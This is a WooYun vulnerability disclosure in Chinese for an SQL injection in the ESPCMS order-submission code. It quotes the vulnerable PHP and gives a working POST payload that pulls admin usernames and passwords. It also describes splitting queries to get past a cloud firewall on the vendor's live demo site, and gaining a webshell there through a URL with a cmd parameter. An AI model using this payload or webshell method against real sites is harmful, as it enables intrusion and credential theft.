当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092449

漏洞标题:易思ESPCMS sql注入漏洞(绕过阿里云盾demo站成功拿下shell同时影响到主站)

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: Pany自留地

提交时间:2015-01-19 14:53

修复时间:2015-04-20 14:22

公开时间:2015-04-20 14:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-19: 细节已通知厂商并且等待厂商处理中
2015-01-19: 厂商已经确认,细节仅向厂商公开
2015-01-22: 细节向第三方安全合作伙伴开放
2015-03-15: 细节向核心白帽子及相关领域专家公开
2015-03-25: 细节向普通白帽子公开
2015-04-04: 细节向实习白帽子公开
2015-04-20: 细节向公众公开

简要描述:

前台提交订单处.

详细说明:

/interface/order.php

$db_values = '';
$arraycount = count($did) - 1;
foreach ($did as $key => $value) {
$value = intval($value);
$oprice[$key] = floatval($oprice[$key]);
$bprice[$key] = floatval($bprice[$key]);
$countprice[$key] = floatval($countprice[$key]);
$amount[$key] = intval($amount[$key]);
if ($key == $arraycount) {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$oprice[$key],$bprice[$key],$countprice[$key],$amount[$key],1)";
} else {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$oprice[$key],$bprice[$key],$countprice[$key],$amount[$key],1),";
}
}
$db_field = 'oid,did,tsn,title,oprice,bprice,countprice,amount,inventory';
$this->db->query('INSERT INTO ' . $db_table2 . ' (' . $db_field . ') VALUES ' . $db_values);


$ptitle,$tsn都可控,直接带入insert。
正常提交

POST /index.php?ac=order&at=ordersave HTTP/1.1
Host: demo.ecisp.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://demo.ecisp.cn/index.php?ac=order&at=orderpay
Cookie: /**/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 426
userid=409&productmoney=33600&discount_productmoney=33600&discountmoney=0&tokenkey=98b9b2dbbda63c317b3f9ab9c370a47b&ptitle%5B%5D=ESPCMS%E5%BC%80%E5%8F%91%E7%89%88&tsn%5B%5D=SN20140706215345387&bprice%5B%5D=16800.00&oprice%5B%5D=16800.00&did%5B%5D=30&amount%5B%5D=2&countprice%5B%5D=33600.00&osid=1&opid=1&alias=wooyun&sex=0&email=asd%40qq.com&tel=123&mobile=123&address=test&zipcode=0&sendtime=1&content=&invpayee=&invcontent=


$ptitle = $this->fun->accept('ptitle', 'P');
$tsn = $this->fun->accept('tsn', 'P');


来看看accept()

function accept($k, $var = 'R', $htmlcode = true, $rehtml = false) {
switch ($var) {
case 'G':
$var = &$_GET;
break;
case 'P':
$var = &$_POST;
break;
case 'C':
$var = &$_COOKIE;
break;
case 'R':
$var = &$_GET;
if (empty($var[$k])) {
$var = &$_POST;
}
break;
}
$putvalue = isset($var[$k]) ? $this->daddslashes($var[$k], 0) : NULL;
return $htmlcode ? ($rehtml ? $this->preg_htmldecode($putvalue) : $this->htmldecode($putvalue)) : $putvalue;
}


这里会把提交的数据转义,但是当$tsn不是数组的时候是这样的
$temp = "wooyun"
$temp[0]的值为w
playload构造:
$tsn参数提交一个' daddslashes(espcms重写的addslashes)将其转义成\'
取$tsn[0],为\

userid=1&productmoney=16800&discount_productmoney=16800&discountmoney=0&ptitle[]=,(SELECT CONCAT(USERNAME,0x2f,PASSWORD) FROM espcms_admin_member ),1,1,1,1,1)#&tsn='&bprice[]=16800.00&oprice[]=16800.00&did[]=30&amount[]=1&countprice[]=16800.00&osid=1&opid=1&alias=wooyun&sex=0&email=awsedr@q.com&tel=10010&mobile=&address=china&zipcode=0&sendtime=1&content=&invpayee=&invcontent=


查看订单:

QQ截图20150117183003.png


sql语句相当于

INSERT INTO espcms_order_info (oid,did,tsn,title,oprice,bprice,countprice,amount,inventory) VALUES (10,30,'\',',(SELECT CONCAT(USERNAME,0x2f,PASSWORD) FROM espcms_admin_member ),1,1,1,1,1)#',16800,16800,16800,1,1)


官方DEMO测试:
由于官方demo有阿里的防火墙,我就分两次来获取

第一条
SELECT USERNAME FROM espcms_admin_member
第二条:
SELECT PASSWORD FROM espcms_admin_member


2.png

1.png


QQ截图20150117183550.png


说说getshell,demo上upfile文件夹是没有写入权限的,datacache是没有运行php的权限,而且无法编辑模板,但文件后缀能在后台修改,上传文件的目录可控,所以能拿下shell.

QQ截图20150117160314.png


http://demo.ecisp.cn/html/wooyun.php?cmd=phpinfo();
还有一个更加严重的问题,就是DEMO站和主站的隔离没做好。
至于主站我就没深入了
本次测试不涉及数据之类的,厂商可以查看服务器日志。

QQ截图20150117160300.png


漏洞证明:

2.png

1.png


QQ截图20150117183550.png

修复方案:

主站和DEMO站的隔离要做好。
问题已经指出,代码方面的你们懂得。 :)

版权声明:转载请注明来源 Pany自留地@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-01-19 16:53

厂商回复:

我们会尽快修复。

最新状态:

暂无